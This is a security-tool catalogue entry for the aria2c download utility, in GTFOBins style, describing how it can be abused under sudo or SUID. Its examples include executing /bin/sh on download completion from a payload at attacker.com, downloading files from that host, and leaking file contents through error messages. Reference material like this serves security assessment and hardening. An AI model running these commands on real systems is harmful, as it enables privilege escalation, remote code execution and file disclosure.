network enabled community medium v1.0.0

aria2c

Lightweight multi-protocol download utility that can execute commands via hooks and read files.

📋 Live Preview
aria2c {o} {i} {allow-overwrite} {gid} {on-download-error} {on-download-complete}
๐Ÿ“Ž o ๐Ÿ“Ž i ๐Ÿ“Ž allow-overwrite ๐Ÿ“Ž gid ๐Ÿ“Ž on-download-error ๐Ÿ“Ž on-download-complete
aria2c {o} {i} {allow-overwrite} {gid} {on-download-error} {on-download-complete}

Sandbox: execFile · Timeout: 60s

Capabilities

network.transfer.download
security.execution.command
security.privilege-escalation.shell
system.file.read
system.file.write

Parameters

Name Type Required Default Description Aliases
o file No - Output file path -o
i file No - Input file with URLs -i
allow-overwrite string No - Allow overwrite of existing files --allow-overwrite
gid string No - Set GID for download --gid
on-download-error file No - Command to run on download error --on-download-error
on-download-complete file No - Command to run on download complete --on-download-complete

Artifacts

TypeDescriptionMIMESchemaTrust
network.transfer.fileDownloaded file--community

Contract

Inputs

network.target.url

URL to download from

Outputs

system.file.path

Downloaded file

Side effects: network_trafficfilesystem_writeprocess_spawn

Workflow Edges

Produces

system.file.path

Consumes

network.target.url

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Omedium

Examples

Execute a command on download error via hook

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain

Execute a command on download completion via remote payload

aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa

Download a file remotely

aria2c -o /path/to/output-file http://attacker.com/path/to/input-file

Read file content leaked in error messages

aria2c -i /path/to/input-file

Documentation

aria2c โ€” Download Utility

aria2c is a lightweight multi-protocol download utility supporting HTTP/HTTPS, FTP, SFTP, BitTorrent, and Metalink. When used with sudo or SUID, it can execute arbitrary commands via download hooks and read files through error messages.

Related Tools

curlwget

References